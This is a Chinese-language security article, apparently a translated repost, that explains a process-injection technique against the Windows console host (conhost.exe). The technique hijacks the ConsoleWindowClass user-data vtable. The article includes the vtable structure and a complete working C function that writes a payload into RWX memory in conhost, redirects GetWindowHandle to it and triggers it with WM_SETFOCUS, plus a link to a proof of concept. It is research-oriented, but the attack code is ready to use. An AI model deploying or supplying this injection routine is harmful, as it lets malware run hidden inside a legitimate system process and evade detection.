當前位置:
首頁 > 新聞 > 如何針對Windows中ConsoleWindowClass對象實現進程注入

如何針對Windows中ConsoleWindowClass對象實現進程注入

概述

每個窗口對象都支持用戶數據(User Data),而用戶數據則可以通過SetWindowLongPtr API和GWLP_USERDATA參數進行設置。窗口對象的用戶數據通常只有部分內存,用於存儲指向類對象的指針。對於控制台程序宿主(Console Window Host,Conhost)進程,其中通常會存儲數據結構的地址。在結構中,包含窗口在桌面的當前位置、大小、對象句柄及具有控制控制台窗口行為的方法的類對象。

conhost.exe中的用戶數據存儲在具有可寫許可權的堆上。這樣一來,它就可以用於進程注入,並且其過程非常類似於我之前討論過的Extra Bytes方法( https://modexp.wordpress.com/2018/08/26/process-injection-ctray/ )。

ConsoleWindowClass

在下圖中,我們可以看到控制台應用程序所使用的窗口對象的屬性。請重點關注Window Proc欄位為空的原因。用戶數據欄位指向虛擬地址,但它並不是位於在控制台應用程序之中。相反,用戶數據結構位於控制台應用程序啟動時由系統生成的conhost.exe進程中。

下圖展現了窗口類的信息,高亮標註的是負責處理窗口消息的回調過程的地址。

調試conhost.exe

下圖展示了連接到控制台主機的調試器,以及對用戶數據值0x000001CB3836F580的轉儲。第一個64位值指向了方法(函數數組)的虛擬函數表。

下圖展示了存儲在虛擬函數表中的方法列表:

在覆蓋任何內容之前,我們需要確定如何從外部應用程序觸發這些方法的執行。具體來說,需要為虛擬函數表設置「中斷訪問」(Break On Access,ba),並向窗口發送消息。下圖顯示了發送WM_SETFOCUS消息後觸發的斷點。

現在,我們已經掌握如何觸發執行。接下來,只需要劫持一個方法。在處理WM_SETFOCUS消息時,首先會調用GetWindowHandle。下圖可以表明,此方法不需要任何參數,只需要從用戶數據中返回一個窗口句柄。

虛擬函數表

以下結構定義了conhost用於控制控制台窗口行為的虛擬函數表。如果我們不使用GetWindowHandle(不帶任何參數)之外的方法,就不需要為其中的每個方法定義原型。

typedef struct _vftable_t {

ULONG_PTR EnableBothScrollBars;

ULONG_PTR UpdateScrollBar;

ULONG_PTR IsInFullscreen;

ULONG_PTR SetIsFullscreen;

ULONG_PTR SetViewportOrigin;

ULONG_PTR SetWindowHasMoved;

ULONG_PTR CaptureMouse;

ULONG_PTR ReleaseMouse;

ULONG_PTR GetWindowHandle;

ULONG_PTR SetOwner;

ULONG_PTR GetCursorPosition;

ULONG_PTR GetClientRectangle;

ULONG_PTR MapPoints;

ULONG_PTR ConvertScreenToClient;

ULONG_PTR SendNotifyBeep;

ULONG_PTR PostUpdateScrollBars;

ULONG_PTR PostUpdateTitleWithCopy;

ULONG_PTR PostUpdateWindowSize;

ULONG_PTR UpdateWindowSize;

ULONG_PTR UpdateWindowText;

ULONG_PTR HorizontalScroll;

ULONG_PTR VerticalScroll;

ULONG_PTR SignalUia;

ULONG_PTR UiaSetTextAreaFocus;

ULONG_PTR GetWindowRect;

} ConsoleWindow;

用戶數據結構

下圖展示了用戶數據結構,其總大小為104位元組。由於默認情況下,分配的內容具有PAGE_READWRITE保護,所以可以使用包含Payload地址的副本,覆蓋指向虛擬函數表的指針。

完整函數

該函數演示了在觸發某些代碼執行之前,如何藉助重複來替換虛擬函數表。我們的測試過程使用了64位版本的Windows 10系統。

VOID conhostInject(LPVOID payload, DWORD payloadSize) {

HWND hwnd;

LONG_PTR udptr;

DWORD pid, ppid;

SIZE_T wr;

HANDLE hp;

ConsoleWindow cw;

LPVOID cs, ds;

ULONG_PTR vTable;

// 1. 獲取控制台窗口的句柄和進程ID(PPID)

// (假設已經有一個在運行)

hwnd = FindWindow(L"ConsoleWindowClass", NULL);

GetWindowThreadProcessId(hwnd, &ppid);

// 2. 獲取主機進程的進程ID(PPID)

pid = conhostId(ppid);

// 3. 打開conhost.exe進程

hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

// 4. 分配RWX內存,並在相應位置複製Payload

cs = VirtualAllocEx(hp, NULL, payloadSize,

MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

// 5. 讀取當前虛擬函數表的地址

udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);

ReadProcessMemory(hp, (LPVOID)udptr,

(LPVOID)&vTable, sizeof(ULONG_PTR), &wr);

// 6. 將當前虛擬函數表讀入本地內存

ReadProcessMemory(hp, (LPVOID)vTable,

(LPVOID)&cw, sizeof(ConsoleWindow), &wr);

// 7. 為新虛擬函數表分配RW內存

ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),

MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// 8. 使用Payload地址更新虛擬函數表的本地副本

// 並寫入遠程進程

cw.GetWindowHandle = (ULONG_PTR)cs;

WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);

// 9. 更新遠程進程中虛擬函數表的指針

WriteProcessMemory(hp, (LPVOID)udptr, &ds,

sizeof(ULONG_PTR), &wr);

// 10. 觸發Payload的執行

SendMessage(hwnd, WM_SETFOCUS, 0, 0);

// 11. 恢復指向原始虛擬函數表的指針

WriteProcessMemory(hp, (LPVOID)udptr, &vTable,

sizeof(ULONG_PTR), &wr);

// 12. 釋放內存並關閉句柄

VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);

VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);

CloseHandle(hp);

}

總結

本文所講解的注入過程是「Shatter」攻擊的另一種變體。與創建新線程的方法不同,這種方法是對窗口消息和回調函數進行了濫用,從而實現代碼執行。這裡展示的方法僅適用於控制台窗口,或者更具體來說是ConsoleWindowClass對象。相關PoC請參見:https://github.com/odzhan/injection/tree/master/conhost


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

安卓應用程序滲透測試(三)
剖析安全培訓項目走向失敗的6大關鍵原因

TAG:嘶吼RoarTalk |